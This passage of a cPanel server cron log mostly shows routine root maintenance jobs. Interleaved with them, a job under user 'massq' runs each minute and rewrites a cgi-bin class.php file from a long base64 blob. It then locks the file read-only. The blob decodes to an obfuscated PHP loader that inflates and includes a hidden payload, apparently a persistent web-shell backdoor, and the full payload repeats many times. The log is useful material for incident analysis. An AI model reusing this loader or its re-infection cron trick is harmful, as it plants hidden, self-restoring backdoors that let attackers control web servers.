uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:38:01 server CROND[2028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:38:01 server CROND[2029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:38:01 server CROND[2030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:39:01 server CROND[2423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:39:01 server CROND[2424]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 04:39:01 server CROND[2425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:39:01 server CROND[2426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:40:01 server CROND[2867]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:40:01 server CROND[2870]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:40:01 server CROND[2869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:40:01 server CROND[2868]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:40:01 server CROND[2872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:40:01 server CROND[2873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:40:01 server CROND[2874]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:40:01 server CROND[2877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:41:01 server CROND[3800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:41:01 server CROND[3801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:41:01 server CROND[3802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:42:01 server CROND[4190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:42:01 server CROND[4189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:42:01 server CROND[4191]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 04:42:01 server CROND[4197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:43:01 server CROND[4581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:43:01 server CROND[4583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:43:01 server CROND[4582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:44:01 server CROND[4966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:44:01 server CROND[4967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:44:01 server CROND[4968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:45:01 server CROND[5362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:45:01 server CROND[5365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:45:01 server CROND[5364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:45:01 server CROND[5363]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:45:01 server CROND[5366]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:45:01 server CROND[5368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:45:01 server CROND[5367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:46:01 server CROND[6310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:46:01 server CROND[6311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:46:01 server CROND[6312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:47:01 server CROND[6693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:47:01 server CROND[6694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:47:01 server CROND[6695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:48:01 server CROND[7090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:48:01 server CROND[7091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:48:01 server CROND[7089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:49:01 server CROND[7471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:49:01 server CROND[7472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:49:01 server CROND[7473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:50:01 server CROND[7868]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:50:01 server CROND[7871]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
